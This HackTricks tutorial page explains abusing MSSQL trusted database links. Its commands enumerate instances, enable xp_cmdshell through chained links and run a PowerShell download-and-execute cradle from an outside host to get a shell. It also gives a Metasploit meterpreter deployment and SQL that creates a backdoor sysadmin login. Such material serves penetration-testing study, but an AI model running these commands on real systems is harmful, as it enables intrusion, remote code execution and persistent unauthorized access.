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143 lines
7.2 KiB
Markdown
# MSSQL Trusted Links
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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## MSSQL Trusted Links
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If a user has privileges to **access MSSQL instances**, he could be able to use it to **execute commands** in the MSSQL host (if running as SA).\
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Also, if a MSSQL instance is trusted (database link) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to **use the trust relationship to execute queries also in the other instance**. This trusts can be chained and at some point the user might be able to find some misconfigured database where he can execute commands.
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**The links between databases work even across forest trusts.**
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### **Powershell**
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```bash
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Import-Module .\PowerupSQL.psd1
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#Get local MSSQL instance (if any)
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Get-SQLInstanceLocal
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Get-SQLInstanceLocal | Get-SQLServerInfo
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#If you don't have a AD account, you can try to find MSSQL scanning via UDP
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#First, you will need a list of hosts to scan
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Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10
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#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
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#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
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Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
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# FROM INSIDE OF THE DOMAIN
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#Get info about valid MSQL instances running in domain
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#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
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Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
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#Test connections with each one
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Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
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#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
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Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
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#Dump an instance (a lotof CVSs generated in current dir)
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Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
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#Look for MSSQL links of an accessible instance
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Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
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#Crawl trusted links, starting form the given one (the user being used by the MSSQL instance is also specified)
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Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose
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#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
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Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'
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#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
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Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"
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#Obtain a shell
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Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
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#Check for possible vulnerabilities on an instance where you have access
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Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"
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#Try to escalate privileges on an instance
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Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"
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```
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### Metasploit
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You can easily check for trusted links using metasploit.
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```bash
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#Set username, password, windows auth (if using AD), IP...
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msf> use exploit/windows/mssql/mssql_linkcrawler
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[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
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```
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Notice that metasploit will try to abuse only the `openquery()` function in MSSQL (so, if you can't execute command with `openquery()` you will need to try the `EXECUTE` method **manually** to execute commands, see more below.)
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### Manual - Openquery()
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From Linux you could obtain a MSSQL console shell with **sqsh** and **mssqlclient.py** and run queries like:
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```bash
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select * from openquery("DOMINIO\SERVER1",'select * from openquery("DOMINIO\SERVER2",''select * from master..sysservers'')')
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```
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From Windows you could also find the links and execute commands manually using a MSSQL client like [HeidiSQL](https://www.heidisql.com)
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_Login using Windows authentication:_
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 (1).png>)
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_Find links inside the accessible MSSQL server (in this case the link is to dcorp-sql1):_\
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\_\_`select * from master..sysservers`
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.png>)
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Execute queries through the link (example: find more links in the new accessible instance):\
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`select * from openquery("dcorp-sql1", 'select * from master..sysservers')`
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.png>)
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You can continue these trusted links chain forever manually.
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Some times you won't be able to perform actions like `exec xp_cmdshell` from `openquery()` in those cases it might be worth it to test the following method:
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### Manual - EXECUTE
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You can also abuse trusted links using EXECUTE:
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```bash
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#Create user and give admin privileges
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EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
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EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
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```
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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|
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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